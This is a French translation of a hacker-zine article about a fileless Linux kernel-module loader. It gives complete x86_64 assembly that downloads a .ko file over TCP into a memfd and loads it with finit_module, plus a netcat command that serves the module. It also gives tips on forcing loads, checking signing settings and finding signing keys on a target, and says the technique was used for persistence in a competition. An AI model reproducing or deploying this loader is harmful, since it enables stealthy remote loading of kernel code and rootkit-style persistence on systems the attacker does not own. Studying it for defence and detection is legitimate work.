┌───────────────────────┐ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ │ █ █ █ █ █ █ │ │ █ █ █ █ █▀▀▀▀ │ │ █ █ █ █ ▄ │ │ ▄▄▄▄▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄ ▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄▄▄▄▄ │ │ █ │ Chargement en mémoire de module noyau │ █ │ ~ netspooky └───────────────────█ ──┘ [ Traduction par 0xNinja ] Puisque certains changements au noyau Linux, apparus ces quelques années précédentes, ont bouleversé l'ancienne méthode de golf de binaires x86_64, j'ai pensé qu'il serait bon de me pencher sur une technique de chargement de module noyau à partir de ressources distantes. Nous allons voir deux appels système utiles, ainsi que quelques points à considérer lors de l'emploi de cette technique. ───[ Création d'un module de test ]───────────────────────────────────────────── We will start by building a simple kernel module to test with. All it will do is print a message to the kernel ring buffer (view with the `dmesg` command). Nous allons commencer par créer un simple module noyau. Tout ce qu'il fait est d'écrire un message au tampon noyau (visible avec la commande `dmesg`). // bang.c #include <linux/module.h> #include <linux/init.h> MODULE_LICENSE("GPL"); static int __init he(void) { printk(KERN_INFO"we out here :}\n"); return 0; } static void __exit le(void) { printk(KERN_INFO"we are no longer out here :{\n"); } module_init(he); module_exit(le); Le Makefile qui va avec : obj-m += bang.o dir = $(shell uname -rm | sed -e 's/\s/\-/') all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules strip: all strip bang.ko mkdir -p $(dir) cp -v bang.ko $(dir)/he.ko load: all sudo insmod bang.ko unload: sudo rmmod bang clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean Pour compiler le module, utiliser la commande `make`. Pour le partage réseau sur le port 42000 : `cat bang.ko | nc -k -lvp 42000` ───[ Le chargeur ]────────────────────────────────────────────────────────────── Le chargeur que nous allons utiliser est plutôt trivial, mais je vais le passer en revue plus en détails pour ceux qui souhaitent apprendre. Nous allons télécharger ce module dans un fichier en mémoire. Nous devons alors commencer par ouvrir un socket sur notre serveur (127.0.0.1:42000) qui héberge le module noyau. Nous allons ensuite créer un fichier memfd pour le téléverser vers le client. L'appel système memfd_create sert à utiliser des fichiers temporaires qui n'ont rien à voir avec un système de fichiers. C'est une manière simple pour écrire dans un fichier qui n'existe que lors du contexte d'exécution de votre programme et permet d'avoir un descripteur de fichier avec un fichier temporaire. Voici un exemple pour exécuter un fichier memfd depuis /proc/self/fd/4 : https://github.com/netspooky/golfclub/blob/master/linux/dl_memfd_219.asm#L100 Maintenant que nous avons notre fichier memfd, nous allons lire le tampon du socket depuis le serveur distant, et écrire le contenu dans notre descripteur de fichier. Une fois le fichier téléchargé dans notre fichier memfd, nous utilisons l'appel finit_module pour charger un module noyau depuis un descripteur de fichier. ───[ kl.asm ]─────────────────────────────────────────────────────────────────── ;-- Télécharge un module noyau depuis 127.0.0.1:42000 en mémoire et le charge -- ; __ __ . __ __ __ __ . . . Mise en place : ; | ||__||_ |__ |__|| || ||_/| | $ cat somekernelmodule.ko | nc -lvp 42000 ; | || | || |o ||o ||\ |__| Compilation : ; | ||__ |__ __|| |__||__|| \ __| $ nasm -f elf64 kl.asm ; ld kl.o -o kl ;------------------------------------------------------------------------------- section .text global _start _start: ; socket ----------------------------------------------------------------------- ; Setting up the socket ; int socket(int domain, int type, int protocol); ; rdi = int domain ; rsi = int type ; rdx = int protocol ;------------------------------------------------------------------------------- push byte 0x29 ; Push socket syscall number pop rax ; RAX = socket syscall push byte 0x2 ; Push domain: AF_INET pop rdi ; RDI = AF_INET push byte 0x1 ; Push type: SOCK_STREAM pop rsi ; RSI = SOCK_STREAM cdq ; RDX = 0 syscall ; socket syscall ; connect ---------------------------------------------------------------------- ; On se connecte au server pour récupérer le contenu du fichier ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); ; rdi = int sockfd ; rsi = const struct sockaddr *addr ; rdx = socklen_t addrlen ;------------------------------------------------------------------------------- xchg rdi, rax ; int sockfd mov rbx, rdi ; Save sockfd in rbx too for later mov dword [rsp-4], 0x100007F ; Our IP = 127.0.0.1 mov word [rsp-6], 0x10A4 ; Our Port = 42000 mov byte [rsp-8], 0x02 ; sockfd sub rsp, 8 ; Line up push byte 0x2a ; Push connect syscall number pop rax ; RAX = connect syscall mov rsi, rsp ; const struct sockaddr *addr push byte 0x10 ; length pop rdx ; length -> rdx syscall ; Execute the connect syscall ; memfd_create ----------------------------------------------------------------- ; On créer un fichier virtuel pour y écrire le contenu du tampon du socket ; int memfd_create(const char *name, unsigned int flags); ; rdi = const char *pathname ; rsi = int flags ;------------------------------------------------------------------------------- mov ax, 0x13f ; The syscall push 0x474e4142 ; Filename BANG (GNAB here) mov rdi, rsp ; Arg0: The file name xor rsi, rsi ; int flags syscall ; Execute memfd_create syscall ; read ------------------------------------------------------------------------- ; On lit le tampon du socket dans un autre tampon pour le sauvegarder en tant ; que fichier local ; ssize_t read(socket sockfd,buf,len) ; rdi = int fd ; rsi = void *buf ; rdx = size_t count ;------------------------------------------------------------------------------- mov r9, rax ; Save the local file descriptor mov rdx, 0x400 ; size_t count = 1024 bytes rwloop: mov rdi, rbx ; Move sockFD to RDI xor rax, rax ; 0 is read sycall lea rsi, [rsp-1024] ; buffer to hold output - arg1 *buf syscall ; Read syscall ; write ------------------------------------------------------------------------ ; On écrit le tampon du socket dans notre fichier local ; ssize_t sys_write(fd,*buf,count) ; rdi = int fd ; rsi = const *buf ; rdx = size_t count ;------------------------------------------------------------------------------- mov rdi, r9 ; Copy the file descriptor from our local file mov rdx, rax ; RDX = # of bytes read, 0 means end of file xor rax, rax ; RAX = 0 mov al, 1 ; Syscall number syscall ; Write syscall cmp dx, 0x400 ; Check if there are still bytes left to read je rwloop ; Loop if so ; finit_module ----------------------------------------------------------------- ; Chargement du module noyau via son descripteur de fichier ; int finit_module(int fd, const char *param_values, int flags); ; rdi = int fd - The file descriptor ; rsi = const char *param_values ; rdx = int flags ;------------------------------------------------------------------------------- xor rax, rax ; RAX = 0 push rax ; param_values mov rsi, rsp ; RSI = *param_values mov rax, 0x139 ; finit_module syscall mov rdi, r9 ; int fd xor rdx, rdx ; int flags syscall ; finit_module syscall ;--- Exit ---------------------------------------------------------------------- ; void exit(int status); ; rdi = int status ;------------------------------------------------------------------------------- mov rax, 0x3c ; Exit Syscall mov rdi, 0x45 ; Return 69 for integrity check syscall ; Peace out ───[ Drapeaux finit_module ]──────────────────────────────────────────────────── L'appel système finit_module est assez intéressant car il permet de charger un module noyau Linux. Normalement, cet appel charge un module depuis un pointeur en mémoire. Cet appel charge un module depuis un descripteur de fichier, mais il est possible de modifier les vérifications par défaut lors d'un chargement de module. NOTE : les drapeaux de finit_module ne sont utilisables que si le noyau cible permet le chargement forcé. (Voir la section suivante) Les drapeaux à modifier sont définis dans include/uapi/linux/module.h, et sont soumis à un OU logique puis donnés à l'appel système dans RDX. /* Drapeaux pour sys_finit_module : */ #define MODULE_INIT_IGNORE_MODVERSIONS 1 #define MODULE_INIT_IGNORE_VERMAGIC 2 Le drapeau MODULE_INIT_IGNORE_MODVERSIONS ignore les condenssats des versions des symboles, et MODULE_INIT_IGNORE_VERMAGIC ignore la valeur magique de la version du noyau par le module. Ces deux valeurs permettent de forcer un chargement d'un module dans le noyau lorsqu'il devrait être rejetté par ce dernier. Cela peut engendrer des comportements inatendus, à utiliser avec précaution ! finit_module décrit cette fonctionnalité comme : ..useful when the authenticity of a kernel module can be determined from its location in the filesystem; in cases where that is possible, the overhead of using cryptographically signed modules to determine the authenticity of a module can be avoided. - man 2 finit_module ... utile lorsque l'autenticité d'un module noyau peut être déterminée par sa localisation dans le système ; dans les cas où c'est possible, l'utilisation de modules signés cryptographiquement pour déterminer leur authenticité peut être évitée. ───[ Déterminer la compatibilité ]────────────────────────────────────────────── La partie complexe du chargement de module noyau en général est qu'il existe une multitude de configurations qui permettent ou non certains types de modules, ou moyens de charger un module dans le noyau. Ce sont ces attributs de configuration qu'il faut regarder avant d'essayer de charger un module noyau. ::: CONFIG_MODVERSIONS ::: S'il est activé (ex CONFIG_MODVERSIONS=y), alors il est possible de charger des modules compilés pour un autre noyau. Vérification : $ grep CONFIG_MODVERSIONS /boot/config-YOURKERNELVERSION CONFIG_MODVERSIONS=y Plus d'informations : https://cateee.net/lkddb/web-lkddb/MODVERSIONS.html ::: CONFIG_MODULE_SIG_FORCE ::: S'il est activé, il ne sera pas possible de charger des modules non signés. Vérification : $ grep CONFIG_MODULE_SIG_FORCE /boot/config-YOURKERNELVERSION # CONFIG_MODULE_SIG_FORCE is not set Plus d'informations : https://cateee.net/lkddb/web-lkddb/MODULE_SIG_FORCE.html PROTIP : Il est possible d'énumérer dans le système les clés pré-existantes selon le système cible. Exemples /var/lib/shim-signed/mok/MOK.priv & /var/lib/shim-signed/mok/MOK.der /usr/src/LINUX/certs/signing_key.pem & /usr/src/LINUX/certs/signing_key.x509 ::: CONFIG_MODULE_FORCE_LOAD ::: S'il est activé, permet le chargement de modules sans leur information de version. Doit être activé si on souhaite utiliser les drapeaux de finit_module. Dans le cas contraire, un échec avec l'erreur ENOEXEC est levé. Vérification : $ grep CONFIG_MODULE_FORCE_LOAD /boot/config-YOURKERNELVERSION # CONFIG_MODULE_FORCE_LOAD is not set Plus d'informations : https://cateee.net/lkddb/web-lkddb/MODULE_FORCE_LOAD.html ───[ .fini ]──────────────────────────────────────────────────────────────────── Nous avons utilisé cette technique pour golfer un chargeur de module noyau. Mais aussi pendant le WRCCDC sous forme de one-liner pour établir une persistance ad hoc sur plusieurs machines avec la même configuration. Il s'agit-là d'une technique parmis tant d'autres pour charger un module noyau. Il y a encore tant à explorer, et j'espère vous avoir inspiré pour vous amuser ! Dédicace à : tmp.0ut, thugcrowd, vxug, tcpd PS. Attendez-vous à un nouvel article sur le charcutage (mangling) d'ELF dans les prochains tmp.0ut !